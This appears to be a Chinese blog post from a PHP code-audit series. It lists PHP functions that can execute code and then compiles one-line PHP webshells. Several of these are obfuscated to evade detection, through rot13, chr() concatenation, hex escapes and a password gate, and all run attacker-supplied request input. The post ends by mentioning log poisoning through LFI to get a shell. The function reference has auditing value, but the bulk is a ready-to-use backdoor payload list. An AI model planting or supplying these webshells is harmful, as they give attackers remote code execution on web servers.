PHP代码审计之路——5.代码执行及一句话木马总结

 
 
  • mixed eval ( string $code )
把字符串 code 作为PHP代码执行

 
 
  • bool assert ( mixed $assertion [, string $description ] ) PHP 5
 
 
  • bool assert ( mixed $assertion [, Throwable $exception ] ) PHP 7
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

 
 
  • array array_map ( callable $callback , array $array1 [, array $... ] )
 
 
  • array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

 
 
  • mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数
 
 
  • mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入
 
 
  • string create_function ( string $args , string $code )
创建一个匿名函数
 
 
  • mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换
7.0.0 不再支持 /e修饰符。 请用 preg_replace_callback() 代替。
5.5.0 /e 修饰符已经被弃用了。使用 preg_replace_callback() 代替。

1. eval
2. assert
3.call_user_func
4. array_map
5. create_function
6.变量
7. preg_replace
1. eval
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>   #page
<?php $c = str_replace('b', '', '_bbPbbbbObSbbbbbTbbb');$a = $$c;eval($a['mima']);?>


2. assert
assert($_POST[c]);
或者
assert('assert(eval($_POST[page]));');//必须single-queto
assert('eval($_POST[page]);');//必须single-queto


3.call_user_func、call_user_func_array
call_user_func('assert', "phpinfo()");
call_user_func(base64_decode('YXNzZXJ0'), "phpinfo()");

call_user_func_array('assert',array('system(dir)'));


4. array_map
<?php array_map("as\x73\x65rt",(array)$_REQUEST['caidao']);?>

<?php
strcasecmp(md5($_GET['qid']),'aaa1fb894b5716d60771e6f230b67e6c')?array_map("as\x73ert",(array)$_REQUEST['caidao']):next;
?>

abcleo



5. create_function
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>

简单翻译
$_uU=chr;
$_cC=eval(_POST[1]);
$_fF=create_function;
$_=create_funtion("",$cC);
@$_();


6.变量
@$_GET[a]($_GET[b]);


7. preg_replace
preg_replace('/some/e',$_POST[c],'some');


如有兴趣深入,推荐文章
http://www.freebuf.com/articles/web/9396.html 那些强悍的PHP一句话后门

题外话,还有更好玩的,利用LFI及各种日志文件,如apahce acces日志来get shell,有空再写,别忘记了。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值